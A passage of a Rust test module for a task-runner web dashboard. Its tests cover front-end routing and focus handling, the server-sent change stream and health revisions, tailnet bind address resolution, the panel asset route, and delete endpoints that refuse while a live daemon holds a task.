9600            !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
9601            "regression: the task link must not go back to naming the bare Backlog route"
9602        );
9603
9604        // The route parser has to read that id back out before applyRoute()
9605        // can do anything with it.
9606        assert!(
9607            APP_JS.contains(
9608                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
9609            ),
9610            "`#/queue/<id>` must parse into a route carrying that id"
9611        );
9612
9613        // And the Backlog view has to actually land on the card once it can
9614        // - see consumeQueueFocus(), which renderQueue() calls on every pass
9615        // so a focus set before the queue has loaded is retried once it has.
9616        assert!(APP_JS.contains("state.queueFocus = route.id;"));
9617        assert!(APP_JS.contains("function consumeQueueFocus()"));
9618        assert!(APP_JS.contains("jumpToTask(id)"));
9619    }
9620
9621    #[test]
9622    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
9623        // consumeQueueFocus() clears an active Backlog search before it can
9624        // scroll to the target card (the sections list is hidden while a
9625        // search is showing), by recursing back into renderQueue(). The
9626        // fixer's first cut nulled state.queueFocus before that recursive
9627        // call, so the second pass saw nothing to jump to and the jump was
9628        // silently dropped whenever a notification's link was opened with a
9629        // stale search still active. state.queueFocus must only be cleared
9630        // right before jumpToTask() actually runs.
9631        assert!(
9632            APP_JS.contains(
9633                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
9634            ),
9635            "the search-clearing branch must run before state.queueFocus is cleared, or the \
9636             recursive renderQueue() call has nothing left to jump to"
9637        );
9638        assert!(
9639            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
9640            "state.queueFocus must be cleared only once the jump has landed, so a card that \
9641             arrives later still gets it"
9642        );
9643        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
9644        assert!(APP_JS.contains("is not in the current Backlog."));
9645        assert!(APP_JS.contains("li.card[data-task-id=\""));
9646        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
9647        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
9648        assert!(APP_CSS.contains(".card-permalink"));
9649        assert!(APP_CSS.contains(".queue-focus-status"));
9650        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
9651    }
9652
9653    #[test]
9654    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
9655        // The task's own repro: only the link text inside .notice-meta was
9656        // clickable, so a tap on the message, the timestamp, or the card's
9657        // padding did nothing - on a phone that reads as "the card doesn't
9658        // work" even though the tiny link inside it did. Mark read / Dismiss
9659        // must keep working independently of this: `.closest("a, button")`
9660        // is what lets a tap that actually lands on those elements fall
9661        // through instead of being hijacked into a navigation.
9662        assert!(
9663            APP_JS.contains(
9664                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
9665            ),
9666            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
9667        );
9668    }
9669
9670    #[test]
9671    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
9672        assert!(
9673            APP_JS.contains("round.verified_head !== round.head"),
9674            "a round that verified an earlier commit must be visibly distinct from one that \
9675             verified the head reviewers are looking at now"
9676        );
9677        assert!(
9678            APP_JS.contains("round.verified_at"),
9679            "when a check ran must be on the wire, not just which commit"
9680        );
9681        assert!(
9682            APP_JS.contains("resource_blocked"),
9683            "a command magi never got to run (shared build cache contention) must not render \
9684             the same as a command that ran and failed"
9685        );
9686    }
9687
9688    #[test]
9689    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
9690        // Every KPI tile but Total runs and Completion names an exact
9691        // RunStatus and hands it to openRunsFiltered(), which is what wires
9692        // the click into state.runsFilter.status (matchesFilter's own
9693        // status check) rather than the coarser runsStateFilter chips. Each
9694        // status literal here must be one of the strings runSection() (and
9695        // isStale()) actually compare a run's own `status` field against -
9696        // a status this dashboard invented would filter to nothing.
9697        assert!(
9698            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
9699            "every KPI tile built through statusTile() must route its click through \
9700             openRunsFiltered, the single place that sets the Runs filter"
9701        );
9702        for (label, status) in [
9703            ("Merged", "merged"),
9704            ("Ready", "ready"),
9705            ("Blocked", "blocked"),
9706            ("Stalled", "stalled"),
9707        ] {
9708            let call = format!("statusTile(\"{label}\", t.{status}, ");
9709            assert!(
9710                APP_JS.contains(&call),
9711                "expected the {label} KPI tile built via {call}..."
9712            );
9713            assert!(
9714                APP_JS.contains(&format!("status === \"{status}\"")),
9715                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
9716                 compare a run against, not one invented only for the stats tile"
9717            );
9718        }
9719        assert!(
9720            APP_JS.contains("function openRunsFiltered(status)"),
9721            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
9722        );
9723        assert!(
9724            APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
9725            "matchesFilter must gate on the exact status a KPI tile named"
9726        );
9727        // applyRoute() only flips which view is visible for a plain `#runs`
9728        // hash - it does not itself redraw the list (see applyRoute's own
9729        // handling below) - so openRunsFiltered must call renderRuns()
9730        // itself, and must call applyRoute() too so the view flips even
9731        // when the hash string doesn't change (the operator may already be
9732        // on the Runs view when a tile is tapped, which fires no
9733        // hashchange event at all).
9734        assert!(
9735            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
9736            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
9737             hashchange event that may never fire"
9738        );
9739    }
9740
9741    #[test]
9742    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
9743        // A stats tile can leave state.runsFilter.status set to something
9744        // done-by-construction (e.g. "merged") - picking "Active" afterward
9745        // must drop it the same way an incompatible tree section is already
9746        // dropped, or the Runs list renders permanently empty with no way
9747        // for the operator to tell why.
9748        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
9749        assert!(
9750            APP_JS.contains(
9751                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
9752            ),
9753            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
9754             guard for an incompatible tree section"
9755        );
9756    }
9757
9758    #[test]
9759    fn every_stats_queue_tile_names_a_real_queue_section() {
9760        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
9761        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
9762        // (consumeQueueSectionFocus finds no matching <details> and drops
9763        // the focus) rather than fail loudly, so pin every key against the
9764        // section list it has to resolve against.
9765        assert!(
9766            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
9767            "every queue tile built through sectionTile() must route its click through \
9768             openQueueSectionFocus"
9769        );
9770        for key in ["upnext", "running", "done", "held", "blocked"] {
9771            assert!(
9772                APP_JS.contains(&format!("{{ key: \"{key}\",")),
9773                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
9774            );
9775        }
9776        // Queued and Failed intentionally both resolve to "upnext" - the
9777        // same section queueSection() itself files them under - rather than
9778        // getting a section each.
9779        for line in [
9780            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
9781            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
9782            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
9783            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
9784            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
9785            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
9786        ] {
9787            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
9788        }
9789    }
9790
9791    #[test]
9792    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
9793        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
9794        // above for the section-focus channel a stats queue tile drives:
9795        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
9796        // through the stale-search-clear recursion into renderQueue(), and
9797        // clear it only once revealQueueSection() is actually about to run -
9798        // the same trap that once silently dropped a task-focus jump.
9799        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
9800        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
9801        assert!(APP_JS.contains("function revealQueueSection(details)"));
9802        assert!(
9803            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
9804            "renderQueue() must consume both focus channels on every pass"
9805        );
9806        assert!(
9807            APP_JS.contains(
9808                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
9809            ),
9810            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
9811             the recursive renderQueue() call has nothing left to reveal"
9812        );
9813        assert!(
9814            APP_JS.contains(
9815                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
9816            ),
9817            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
9818        );
9819        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
9820        // task-focus form of the hash - a plain `#queue` navigation only
9821        // flips which view is visible. openQueueSectionFocus() must
9822        // therefore call renderQueue() itself, and applyRoute() too so the
9823        // view flips even when the hash doesn't change (the Backlog may
9824        // already be open when a tile is tapped, firing no hashchange
9825        // event at all).
9826        assert!(
9827            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
9828            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
9829             hashchange event that may never fire"
9830        );
9831    }
9832
9833    #[tokio::test]
9834    async fn the_change_stream_announces_the_current_revisions_on_connect() {
9835        let f = Fixture::start().await;
9836
9837        let mut socket = tokio::net::TcpStream::connect(f.addr)
9838            .await
9839            .expect("connect");
9840        socket
9841            .write_all(
9842                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
9843            )
9844            .await
9845            .expect("write request");
9846
9847        // Read until the first event arrives rather than to end of stream: the
9848        // stream is endless by design, which is the point of the route.
9849        let mut seen = String::new();
9850        let mut buf = [0u8; 1024];
9851        while !seen.contains("event: change") {
9852            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
9853                .await
9854                .expect("the stream must speak within five seconds")
9855                .expect("read");
9856            assert!(read > 0, "the server closed the change stream: {seen}");
9857            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
9858        }
9859
9860        assert!(
9861            seen.to_lowercase()
9862                .contains("content-type: text/event-stream"),
9863            "the browser only reconnects automatically for a real SSE stream: {seen}"
9864        );
9865        let data = seen
9866            .lines()
9867            .find_map(|l| l.strip_prefix("data:"))
9868            .expect("a data line");
9869        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
9870        assert!(
9871            payload["queue_rev"].is_u64()
9872                && payload["runs_rev"].is_u64()
9873                && payload["questions_rev"].is_u64()
9874                && payload["talks_rev"].is_u64()
9875                && payload["notifications_rev"].is_u64()
9876                && payload["loop_rev"].is_u64(),
9877            "the client needs one revision per store to know what to refetch, \
9878             and `talks_rev` is the only notification a standing talk gets - a \
9879             phone whose radio slept through a turn learns about it here, as \
9880             does one whose operator started the loop from another device: \
9881             {payload}"
9882        );
9883
9884        // The front end re-polls health on a timer and on wake, and takes the
9885        // revisions from that answer whenever the stream is not up. So health
9886        // has to carry every key the stream carries: a phone on a link that
9887        // will not hold an SSE connection is exactly the phone that must still
9888        // notice a question, and a missing key there is not a 500 but a UI
9889        // that quietly stops updating.
9890        let health = f.get("/api/health").await.json();
9891        for key in [
9892            "queue_rev",
9893            "runs_rev",
9894            "questions_rev",
9895            "talks_rev",
9896            "notifications_rev",
9897            "loop_rev",
9898        ] {
9899            assert!(
9900                health[key].is_u64(),
9901                "health is the change stream's fallback and is missing `{key}`: {health}"
9902            );
9903        }
9904    }
9905
9906    #[tokio::test]
9907    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
9908        let f = Fixture::start().await;
9909        let before = f.get("/api/health").await.json()["talks_rev"]
9910            .as_u64()
9911            .expect("talks_rev");
9912
9913        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
9914        std::thread::sleep(Duration::from_millis(10));
9915        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
9916        on_disk.turns.push(crate::talk::Turn {
9917            who: crate::talk::Who::Operator,
9918            body: "a new turn".to_owned(),
9919            at: Timestamp::now(),
9920            attachments: Vec::new(),
9921        });
9922        f.talks().put(&mut on_disk).expect("record a turn");
9923
9924        let after = f.get("/api/health").await.json()["talks_rev"]
9925            .as_u64()
9926            .expect("talks_rev");
9927        assert_ne!(
9928            before, after,
9929            "a phone must be able to notice a talk's reply without polling every store"
9930        );
9931    }
9932
9933    #[test]
9934    fn bind_reads_back_from_the_spelling_the_cli_prints() {
9935        // The CLI shows the default in `--help` and parses whatever comes
9936        // back, so the two directions have to agree or `--bind auto` breaks
9937        // the moment someone copies the help text.
9938        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
9939            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
9940        }
9941        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
9942        assert!("everywhere".parse::<Bind>().is_err());
9943    }
9944
9945    #[test]
9946    fn an_explicit_bind_address_is_taken_verbatim() {
9947        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
9948
9949        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
9950
9951        assert_eq!(addr, asked);
9952        assert!(
9953            warning.is_none(),
9954            "an operator who named an address gets no lecture"
9955        );
9956    }
9957
9958    #[test]
9959    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
9960        let (addr, warning) = resolve_bind(&Bind::Auto);
9961
9962        // This has to hold on a CI runner with no `tailscale` and on a dev box
9963        // with one, so the invariant asserted is the one shared by both
9964        // outcomes: the address is either a real tailnet address offered
9965        // without comment, or loopback with an explanation. What must never
9966        // happen is a silent fallback - an operator told "listening on
9967        // 127.0.0.1" with no reason would go looking for a firewall.
9968        match addr {
9969            IpAddr::V4(ip) if is_tailnet(&ip) => {
9970                assert!(warning.is_none(), "a tailnet address needs no warning");
9971            }
9972            other => {
9973                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
9974                let warning = warning.expect("a fallback has to explain itself");
9975                assert!(
9976                    warning.contains("127.0.0.1") && warning.contains("local-only"),
9977                    "the warning says what happened and what it costs: {warning}"
9978                );
9979            }
9980        }
9981    }
9982
9983    #[test]
9984    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
9985        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
9986        // boundary cases are what stop us binding to some other tool's idea of
9987        // an address.
9988        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
9989        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
9990        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
9991        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
9992        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
9993    }
9994
9995    #[test]
9996    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
9997        let ids = vec![
9998            "20260902-140501-aaaa".to_owned(),
9999            "20260902-140502-aabb".to_owned(),
10000        ];
10001
10002        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
10003        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
10004        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
10005
10006        assert_eq!(missing.status, StatusCode::NOT_FOUND);
10007        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
10008        assert_eq!(short, "20260902-140502-aabb");
10009    }
10010    #[tokio::test]
10011    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
10012        // The prompt tells agents to reference attachments by bare filename.
10013        // A document served at `.../panel` resolves `shot.png` against its own
10014        // directory, i.e. `.../shot.png`, which is not the asset route - so a
10015        // panel written exactly as instructed showed broken images. Caught by
10016        // looking at a real one in a browser, not by reading the code.
10017        let fx = Fixture::start().await;
10018        let id = panel(
10019            &fx,
10020            "<img src=\"shot.png\">",
10021            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
10022        );
10023
10024        // The frame's own URL ends in a filename, so its siblings are reachable.
10025        let doc = fx
10026            .get(&format!("/api/questions/{id}/panel/index.html"))
10027            .await;
10028        assert_eq!(doc.status, 200, "{}", doc.body);
10029        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
10030
10031        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
10032        assert_eq!(sibling.status, 200, "{}", sibling.body);
10033        assert_eq!(sibling.header("content-type"), Some("image/png"));
10034        assert_eq!(
10035            sibling.header("content-security-policy"),
10036            Some(PANEL_CSP),
10037            "the sibling route must carry the same policy as the asset route"
10038        );
10039
10040        // The original spelling keeps working: HEAD on it is how the front end
10041        // decides whether to mount a frame at all.
10042        assert_eq!(
10043            fx.head(&format!("/api/questions/{id}/panel")).await.status,
10044            200
10045        );
10046    }
10047
10048    #[test]
10049    fn runs_revision_moves_when_deleting_an_older_run() {
10050        let temp = TempDir::new().expect("tempdir");
10051        let runs = temp.path().join("runs");
10052        std::fs::create_dir_all(&runs).expect("create runs dir");
10053
10054        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
10055
10056        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
10057        std::thread::sleep(Duration::from_millis(10));
10058        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
10059
10060        let rev_before = runs_revision(&runs);
10061        assert!(rev_before > 0);
10062
10063        let old_dir = runs.join("20260901-100000-old1");
10064        std::fs::remove_dir_all(&old_dir).expect("remove old run");
10065
10066        let rev_after = runs_revision(&runs);
10067        assert_ne!(
10068            rev_before, rev_after,
10069            "deleting an older run must change the revision so other clients see the deletion"
10070        );
10071    }
10072
10073    /// A run's own `run.json` on an explicit `runs` root, bypassing the
10074    /// process-global home entirely — `RunState::save` writes through
10075    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
10076    /// (see `tests::home_lock` in the integration suite for why).
10077    fn write_state(runs: &FsPath, state: &RunState) {
10078        let dir = runs.join(&state.id);
10079        std::fs::create_dir_all(&dir).expect("run dir");
10080        std::fs::write(
10081            dir.join("run.json"),
10082            serde_json::to_string_pretty(state).expect("serialize run"),
10083        )
10084        .expect("write run.json");
10085    }
10086
10087    /// A seat starting or finishing is a write to `run.json` like any other,
10088    /// so it moves the same revision the change stream already watches —
10089    /// nothing new for `/api/events` to learn, but the property this feature
10090    /// depends on to reach the phone without a poll.
10091    #[test]
10092    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
10093        let temp = TempDir::new().expect("tempdir");
10094        let runs = temp.path().join("runs");
10095        std::fs::create_dir_all(&runs).expect("create runs dir");
10096        let mut state = RunState::new(
10097            PathBuf::from("/repo/magi"),
10098            "main".to_owned(),
10099            "0123456789abcdef".to_owned(),
10100            "task".to_owned(),
10101            Config::default(),
10102        );
10103        state.id = "20260902-100000-c0de".to_owned();
10104        write_state(&runs, &state);
10105
10106        let rev_idle = runs_revision(&runs);
10107        std::thread::sleep(Duration::from_millis(10));
10108        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
10109        write_state(&runs, &state);
10110        let rev_started = runs_revision(&runs);
10111        assert_ne!(
10112            rev_idle, rev_started,
10113            "a seat starting must move the revision"
10114        );
10115
10116        std::thread::sleep(Duration::from_millis(10));
10117        state.seat_finished("judge-1");
10118        write_state(&runs, &state);
10119        let rev_finished = runs_revision(&runs);
10120        assert_ne!(
10121            rev_started, rev_finished,
10122            "and clearing it again must move the revision a second time"
10123        );
10124    }
10125
10126    #[tokio::test]
10127    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
10128        // `TaskView` flattens `Task`, so this is really asserting that
10129        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
10130        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
10131        // never touched web.rs, so nothing here caught it if it had.
10132        let fx = Fixture::start().await;
10133        let q = fx.queue();
10134
10135        let mut t = Task::new(
10136            "Task".to_owned(),
10137            "Instruction".to_owned(),
10138            PathBuf::from("/repo"),
10139            Source::Human,
10140        );
10141        t.block(
10142            vec!["20260101-000000-dead".to_owned()],
10143            Some("waiting on Task 1".to_owned()),
10144        );
10145        t.answers.push(crate::queue::AnsweredQuestion {
10146            question: "Which backend?".to_owned(),
10147            answer: "SQLite".to_owned(),
10148        });
10149        q.put(&mut t).expect("put t");
10150
10151        let res = fx.get("/api/queue").await;
10152        assert_eq!(res.status, 200);
10153        let list = res.json();
10154        let view = list
10155            .as_array()
10156            .expect("array")
10157            .iter()
10158            .find(|v| v["id"] == t.id)
10159            .expect("task in list");
10160        assert_eq!(view["status_str"], "blocked");
10161        assert_eq!(
10162            view["blocked_by"],
10163            serde_json::json!(["20260101-000000-dead"])
10164        );
10165        assert_eq!(view["block_reason"], "waiting on Task 1");
10166        assert_eq!(view["answers"][0]["question"], "Which backend?");
10167        assert_eq!(view["answers"][0]["answer"], "SQLite");
10168
10169        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
10170        // but never `answers` - that is a settled decision, not state
10171        // describing the current block, so it survives.
10172        let res = fx
10173            .post(&format!("/api/queue/{}/hold", t.short()), None)
10174            .await;
10175        assert_eq!(res.status, 200);
10176        let held = res.json();
10177        assert_eq!(held["status_str"], "held");
10178        assert_eq!(held["blocked_by"], serde_json::json!([]));
10179        assert!(held["block_reason"].is_null());
10180        assert_eq!(held["answers"][0]["answer"], "SQLite");
10181    }
10182
10183    #[tokio::test]
10184    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
10185        let fx = Fixture::start().await;
10186        let q = fx.queue();
10187        let mk = |title: &str| {
10188            Task::new(
10189                title.to_owned(),
10190                "Instruction".to_owned(),
10191                PathBuf::from("/repo"),
10192                Source::Human,
10193            )
10194        };
10195        let mut root = mk("root");
10196        root.hold_manual(Some("waiting".to_owned()));
10197        q.put(&mut root).unwrap();
10198        let mut mid = mk("mid");
10199        mid.block(vec![root.id.clone()], None);
10200        q.put(&mut mid).unwrap();
10201        let mut leaf = mk("leaf");
10202        leaf.block(vec![mid.id.clone()], None);
10203        q.put(&mut leaf).unwrap();
10204
10205        let list = fx.get("/api/queue").await.json();
10206        let find = |id: &str| {
10207            list.as_array()
10208                .unwrap()
10209                .iter()
10210                .find(|v| v["id"] == id)
10211                .unwrap()
10212                .clone()
10213        };
10214        let leaf_view = find(&leaf.id);
10215        assert_eq!(
10216            leaf_view["waits_on"],
10217            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
10218        );
10219        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
10220        assert_eq!(
10221            find(&mid.id)["waits_on"],
10222            serde_json::json!([format!("{} (held)", root.short())])
10223        );
10224        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
10225    }
10226
10227    #[tokio::test]
10228    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
10229        let fx = Fixture::start().await;
10230        let q = fx.queue();
10231
10232        // 1. A queued task with runs attached can be deleted.
10233        let mut t1 = Task::new(
10234            "Task 1".to_owned(),
10235            "Instruction 1".to_owned(),
10236            PathBuf::from("/repo"),
10237            Source::Human,
10238        );
10239        let run_id = "20260901-000000-r111";
10240        t1.runs.push(run_id.to_owned());
10241        write_run(&fx.runs(), run_id, RunStatus::Merged);
10242        q.put(&mut t1).expect("put t1");
10243
10244        // Delete by short id
10245        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
10246        assert_eq!(res.status, 204);
10247        assert!(res.body.is_empty(), "204 No Content has no body");
10248        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
10249        assert!(
10250            fx.runs().join(run_id).exists(),
10251            "run directory must not be deleted when its task is deleted"
10252        );
10253
10254        // 2. A task a live daemon is running is refused with 409.
10255        let mut t2 = Task::new(
10256            "Task 2".to_owned(),
10257            "Instruction 2".to_owned(),
10258            PathBuf::from("/repo"),
10259            Source::Human,
10260        );
10261        t2.status = TaskStatus::Running;
10262        q.put(&mut t2).expect("put t2");
10263        let mut beat = crate::daemon::Status::new();
10264        beat.current = vec![crate::daemon::Current {
10265            task: t2.id.clone(),
10266            run: "20260901-000000-r222".to_owned(),
10267        }];
10268        beat.updated_at = jiff::Timestamp::now();
10269        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10270            .expect("publish a heartbeat");
10271        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
10272        assert_eq!(res.status, 409);
10273        assert!(
10274            res.json()["error"]
10275                .as_str()
10276                .unwrap()
10277                .contains("live daemon")
10278        );
10279        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
10280
10281        // 3. The same `running` status and an orphaned lock, with no daemon
10282        // behind either, is a leftover and deletable. Before this the phone
10283        // refused it for good: the status never changes on its own and
10284        // nothing drops a lock whose process is gone.
10285        // The daemon is killed: the file stays, the heartbeat stops.
10286        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
10287        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10288            .expect("leave a stale heartbeat");
10289        let mut t3 = Task::new(
10290            "Task 3".to_owned(),
10291            "Instruction 3".to_owned(),
10292            PathBuf::from("/repo"),
10293            Source::Human,
10294        );
10295        t3.status = TaskStatus::Running;
10296        q.put(&mut t3).expect("put t3");
10297        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
10298        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
10299        assert_eq!(res.status, 204);
10300        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
10301        assert!(
10302            q.claim(&t3.id).is_ok(),
10303            "the stale lock went with it, so the id is claimable again"
10304        );
10305
10306        // 4. Missing id returns 404
10307        let res = fx.delete("/api/queue/nonexistent").await;
10308        assert_eq!(res.status, 404);
10309    }
10310
10311    #[tokio::test]
10312    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
10313        let fx = Fixture::start().await;
10314        let runs = fx.runs();
10315
10316        // 1. Finished and folded run can be deleted along with artifacts
10317        let run_id = "20260901-000000-fold";
10318        let mut state = RunState::new(
10319            PathBuf::from("/repo"),
10320            "main".to_owned(),
10321            "abc".to_owned(),
10322            "instruction".to_owned(),
10323            Config::default(),
10324        );
10325        state.id = run_id.to_owned();
10326        state.status = RunStatus::Merged;
10327        state.candidates.push(crate::run::Candidate {
10328            index: 0,
10329            label: 'A',
10330            agent: "a".to_owned(),
10331            branch: "b".to_owned(),
10332            worktree: PathBuf::from("/w"),
10333            summary: String::new(),
10334            stat: String::new(),
10335            files: 1,
10336            commits: 1,
10337            empty: false,
10338            failed: None,
10339            verified_noop: None,
10340            duration_ms: 0,
10341            folded: true,
10342        });
10343        let dir = runs.join(run_id);
10344        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
10345        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
10346            .expect("write artifact");
10347        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
10348            .expect("write run.json");
10349
10350        // Delete by short id
10351        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
10352        assert_eq!(res.status, 204);
10353        assert!(res.body.is_empty(), "204 has no body");
10354        assert!(!dir.exists(), "run directory and artifacts must be deleted");
10355
10356        // 2. A run a live daemon is working on is refused with 409. The
10357        // heartbeat is what makes it refusable: an unfinished run with no
10358        // daemon behind it is a leftover from a killed process, and case 1
10359        // above would otherwise be impossible to tell apart from this one.
10360        let run_running = "20260901-000000-rung";
10361        write_run(&runs, run_running, RunStatus::Prep);
10362        let mut beat = crate::daemon::Status::new();
10363        beat.current = vec![crate::daemon::Current {
10364            task: "20260901-000000-task".to_owned(),
10365            run: run_running.to_owned(),
10366        }];
10367        beat.updated_at = jiff::Timestamp::now();
10368        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10369            .expect("publish a heartbeat");
10370        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
10371        assert_eq!(res.status, 409);
10372        assert!(
10373            res.json()["error"]
10374                .as_str()
10375                .unwrap()
10376                .contains("live daemon"),
10377            "the refusal must say who is holding it"
10378        );
10379        assert!(
10380            runs.join(run_running).exists(),
10381            "a run in flight keeps its directory"
10382        );
10383
10384        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
10385        let run_unfolded = "20260901-000000-unfd";
10386        let mut state2 = RunState::new(
10387            PathBuf::from("/repo"),
10388            "main".to_owned(),
10389            "abc".to_owned(),
10390            "instruction".to_owned(),
10391            Config::default(),
10392        );
10393        state2.id = run_unfolded.to_owned();
10394        state2.status = RunStatus::Ready;
10395        state2.candidates.push(crate::run::Candidate {
10396            index: 0,
10397            label: 'A',
10398            agent: "a".to_owned(),
10399            branch: "b".to_owned(),
10400            worktree: PathBuf::from("/w"),
10401            summary: String::new(),
10402            stat: String::new(),
10403            files: 1,
10404            commits: 1,
10405            empty: false,
10406            failed: None,
10407            verified_noop: None,
10408            duration_ms: 0,
10409            folded: false,
10410        });
10411        let dir2 = runs.join(run_unfolded);
10412        std::fs::create_dir_all(&dir2).expect("create dir2");
10413        std::fs::write(
10414            dir2.join("run.json"),
10415            serde_json::to_string(&state2).unwrap(),
10416        )
10417        .expect("write run.json");
10418
10419        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
